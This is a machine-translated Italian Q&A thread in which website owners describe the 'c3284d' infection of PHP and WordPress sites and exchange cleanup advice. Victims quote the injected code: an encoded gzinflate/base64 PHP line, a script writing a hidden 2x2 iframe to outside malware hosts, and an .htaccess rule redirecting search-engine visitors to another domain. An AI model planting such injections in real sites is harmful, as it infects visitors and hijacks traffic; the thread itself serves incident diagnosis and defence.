2012-07-11 12 views
6

Negli ultimi giorni, il mio sito Web è stato ripetutamente oggetto di un attacco iframe. Il codice è aggiunto principalmente alle pagine PHP e Javascript. Il codice è quindi base di PHP 64 codificato, vedi esempio (ho cambiato il codice un po 'per neutralizzarlo):Attacco iframe sito Web - inserisce il codice nella fonte

#c3284d# 
echo(gzinflate(base64_decode("aJ1yhA3pkW4cWnUnmFluNmeq66wqE0OmVRcMUP3WQAupFZFGgaJvSE7IZH67z5S8 VwMxbWwg/TRkFvtPyCw9AGGzqRm8Qi/1LV6+9MdTtf9rtXb8e4L"))); 
#/c3284d# 

Questo decodificato sembra qualcosa di simile:

<script type="text/javascript"> 
    document.write(
     '<iframe src="http://opticmoxie.com/xxxxxxx.php"  
     name="Twitter" scrolling="auto" frameborder="no" 
     align="center" height="2" width="2"></iframe>' 
    ); 

Il una cosa in comune è che tutto il codice ha il commento "# c3284d #" quindi rintracciare il codice malevolo non è difficile. Ma richiede molto tempo ...

Siamo su un server condiviso a Gradwell (Regno Unito) e non sono stati particolarmente utili. Quindi la domanda è: cosa posso fare per evitare che questo problema si ripeta da solo? Sono a conoscenza degli attacchi di MySQL Injection e utilizzo mysql_real_escape_string di PHP per prevenire tali attacchi.

Il sito è PHP e unità MySQL. Utilizziamo MySQLFTP e abbiamo un account shell per l'accesso SSH. Usiamo Wordpress (ultimo aggiornamento con i plugin disattivati).

+1

Esiste un sacco di informazioni su PHP che esistono su questo tipo di domande e vi incoraggio a cercarlo, ma la risposta a questa domanda è una riflessione laterale "[uso qualcosa di diverso da PHP.] (http://me.veekun.com/blog/2012/04/09/php-a-fractal-of-bad-design/)" PHP è più incline a problemi di sicurezza di altre lingue –

+1

Una vecchia domanda, ma vale comunque la pena di fare questo: ottenere uno scanner hash e installarlo nel proprio account. Ce ne sono parecchi in PHP, da quello che ho Posso dire. Questi usano cron per controllare quali file sono nuovi o sono cambiati e possono mandarti una email se vengono trovate modifiche sospette. – halfer

risposta

0

Ho anche lo stesso problema. Nel mio caso il codice aggiunto è

<!--c3284d--><script type="text/javascript"> 
document.write('<iframe src="http://poseyhumane.org/stats.php" name="Twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"></iframe>'); 
</script><!--/c3284d--> 

Inoltre, c'è un file .htaccess come di seguito:

> #c3284d# <IfModule mod_rewrite.c> RewriteEngine On RewriteCond %{HTTP_REFERER} 
> ^.*(abacho|abizdirectory|about|acoon|alexana|allesklar|allpages|allthesites|alltheuk|alltheweb|altavista|america|amfibi|aol|apollo7|aport|arcor|ask|atsearch|baidu|bellnet|bestireland|bhanvad|bing|blog|bluewin|botw|brainysearch|bricabrac|browseireland|chapu|claymont|click4choice|clickey|clickz|clush|confex|cyber-content|daffodil|devaro|dmoz|dogpile|ebay|ehow|eniro|entireweb|euroseek|exalead|excite|express|facebook|fastbot|filesearch|findelio|findhow|finditireland|findloo|findwhat|finnalle|finnfirma|fireball|flemiro|flickr|freenet|friendsreunited|galaxy|gasta|gigablast|gimpsy|globalsearchdirectory|goo|google|goto|gulesider|hispavista|hotbot|hotfrog|icq|iesearch|ilse|infoseek|ireland-information|ixquick|jaan|jayde|jobrapido|kataweb|keyweb|kingdomseek|klammeraffe|km|kobala|kompass|kpnvandaag|kvasir|libero|limier|linkedin|live|liveinternet|lookle|lycos|mail|mamma|metabot|metacrawler|metaeureka|mojeek|msn|myspace|netscape|netzindex|nigma|nlsearch|nol9|oekoportal|openstat|orange|passagen|pocketflier|qp|qq|rambler|rtl|savio|schnellsuche|search|search-belgium|searchers|searchspot|sfr|sharelook|simplyhired|slider|sol|splut|spray|startpagina|startsiden|sucharchiv|suchbiene|suchbot|suchknecht|suchmaschine|suchnase|sympatico|telfort|telia|teoma|terra|the-arena|thisisouryear|thunderstone|tiscali|t-online|topseven|twitter|ukkey|uwe|verygoodsearch|vkontakte|voila|walhello|wanadoo|web|webalta|web-archiv|webcrawler|websuche|westaustraliaonline|wikipedia|wisenut|witch|wolong|ya|yahoo|yandex|yell|yippy|youtube|zoneru)\.(.*) 
> RewriteRule ^(.*)$ http://onestopchinasource.com/catalog/stats.php 
> [R=301,L] </IfModule> 
> #/c3284d# 

ho trovato due articoli su questo tema: http://www.webmasterworld.com/html/4472821.htm e http://stopmalvertising.com/malware-reports/the-c3284d-malware-network-stats.php.html

Speranza aiuta

+1

Poco dopo aver scritto questo post, sono stato colpito di nuovo dal malware. Tuttavia da quando ho cambiato le mie password FTP, SSH e MySQL, non ho ulteriori problemi. Sono d'accordo con l'articolo. Hosting condiviso causa solo problemi. Ora ha aperto un account Virtual Private Server. – monkey64

1

Ho avuto lo stesso problema. I log di accesso del server FTP hanno mostrato che le modifiche sono state apportate utilizzando una password FTP compromessa.

1

Ho lo stesso problema e le stesse varianti di diversi file compromessi su molti domini diversi. L'unica cosa comune che noto è Wordpress. Abbiamo wordpress su molti di questi server e penso che sia il colpevole comune. Ho aggiornato tutti i miei account wordpress, ho cambiato tutte le password per tutti gli account di dominio. non sono sicuro se il problema è ancora completamente risolto.

1

Ho avuto lo stesso problema ma in un sito Wordpress.

Immagino che il sito sia stato infettato tramite i widget, perché utilizzo un plug-in che consente l'esecuzione del codice PHP.

mia soluzione migliore era:

  • eliminare il widget di sospetto;
  • vedere l'ora e la data di un file infetto (il mio caso: header.php);
  • cancella tutti i file infetti (nel mio caso ho un backup del sito);
  • ricerca nel file di registro per IP sospetti in quel momento (ricerca trovato IP su blacklist);
  • installare un plug-in per vietare gli IP sospetti.

Da quel momento il problema era sparito. Spero che questo ti possa aiutare.

1

Aveva lo stesso problema su tutti i siti Wordpress che ho amministrato. Non ho trovato la fonte dell'infezione, scommetto che è un worm sul mio computer o un plugin che ho installato su tutti i siti.

Ho trovato tutti i file che sono stati modificati nei registri del plugin di sicurezza WP-Better e ho eliminato il codice infetto aggiuntivo e dopo aver reso chmod 444 su tutti i file che erano fonte di infezione.

Ora sono libero da 1 mese di iframe/htacess malvagi e altre cose.

1

Ho avuto lo stesso problema e ho scoperto che il metodo utilizzato per entrare era una password FTP compromessa.

Anche se questo è in esecuzione su un server cPanel con protezione CPHulk forza bruta abilitato, ho scoperto che gli hacker hanno tentato di forza bruta la loro strada in via migliaia di diversi host compromessi.

Fortunatamente avevo un registro di tutti i file che sono stati caricati quindi ho scritto uno script per ripristinare questi file dai backup.

Ho quindi aumentato i livelli di protezione della forza bruta cPanel riducendo il numero di tentativi non riusciti necessari prima che l'account sia bloccato.

-1

i cattivi hanno accesso al tuo codice, quindi devi chiudere il loro accesso, nel frattempo puoi usare un semplice script che controlla ed elimina tutte le linee in cui rileva gzinflate (base64_decode, ma anche il codice migliore (checksum checker con i file di backup) sarà inutile se hanno ancora accesso

Problemi correlati